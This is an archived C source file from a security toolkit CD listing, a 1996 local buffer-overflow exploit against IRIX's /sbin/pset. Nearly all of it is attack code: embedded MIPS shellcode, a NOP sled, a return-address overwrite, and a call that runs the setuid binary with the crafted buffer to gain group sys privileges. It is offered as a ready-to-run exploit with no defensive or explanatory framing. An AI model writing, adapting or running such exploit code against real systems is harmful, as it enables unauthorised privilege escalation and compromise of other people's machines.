home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / irix / local / irix-pset.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  72 lines

  1. /* copyright by */
  2. /* Last Stage of Delirium, Dec 1996, Poland*/
  3.  
  4. /* This one gives you egid=0(sys) */
  5.  
  6. #include <stdio.h>
  7. #include <stdlib.h>
  8. #include <fcntl.h>
  9.  
  10. #define BUFSIZE 4172
  11. #define OFFS 816
  12. #define ADDRS 8
  13. #define ALIGN 3
  14. #define ALIGN2 1
  15.  
  16. char asmcode[]="\x3c\x18\x2f\x62\x37\x18\x69\x6e\x3c\x19\x2f\x73\x37\x39\x68\x2e\xaf\xb8\xff\xf8\xaf\xb9\xff\xfc\xa3\xa0\xff\xff\x27\xa4\xff\xf8\x27\xa5\xff\xf0\x01\x60\x30\x24\xaf\xa4\xff\xf0\xaf\xa0\xff\xf4\x24\x02\x04\x23\x02\x04\x8d\x0c";
  17. /*
  18. char nop[]="\x24\x0f\x12\x34";
  19. */
  20. char nop[]="\x01\x20\x48\x25";
  21.  
  22. void run(unsigned char *buf) {
  23.   execl("/sbin/pset","lsd","-s","666",buf,NULL);
  24.   printf("execl failed\n");
  25. }
  26.  
  27. char jump[]="\x03\xa0\x10\x25\x03\xe0\x00\x08\x24\x0f\x12\x34\x24\x0f\x12\x34";
  28.  
  29. /*
  30. unsigned long get_sp(void) {
  31. __asm__("or     $2,$sp,$0");
  32. }
  33. */
  34. main(int argc, char *argv[]) {
  35.   char *buf, *ptr, addr[8];
  36.   int offs=OFFS, bufsize=BUFSIZE, addrs=ADDRS, align=ALIGN;
  37.   int i, noplen=strlen(nop);
  38.  
  39.   if (argc >1) bufsize=atoi(argv[1]);
  40.   if (argc >2) offs=atoi(argv[2]);
  41.   if (argc >3) addrs=atoi(argv[3]);
  42.   if (argc >4) align=atoi(argv[4]);
  43.  
  44.   if (bufsize<strlen(asmcode)) {
  45.     printf("bufsize too small, code is %d bytes long\n", strlen(asmcode));
  46.     exit(1);
  47.   }
  48.   if ((buf=malloc(bufsize+(ADDRS<<2)+noplen+1))==NULL) {
  49.     printf("Can't malloc\n");
  50.     exit(1);
  51.   }
  52.  
  53.   *(int *)addr=(*(unsigned long(*)())jump)()+offs;
  54.   printf("address=%p\n", *(int *)addr);
  55.  
  56.   strcpy(buf,nop);
  57.   ptr=buf+noplen;
  58.   buf+=align;
  59.   for(i=0;i<bufsize;i++)
  60.    *ptr++=nop[i%noplen];
  61.   memcpy(ptr-strlen(asmcode),asmcode,strlen(asmcode));
  62.   for(i=0;i<ALIGN2;i++)
  63.    *ptr++=nop[i%noplen];
  64.   for(i=0;i<(addrs<<2);i++)
  65.    *ptr++=addr[i%sizeof(int)];
  66.   *ptr=0;
  67.   printf("buflen=%d\n", strlen(buf));
  68.   fflush(stdout);
  69.  
  70.   run(buf);
  71. }
  72.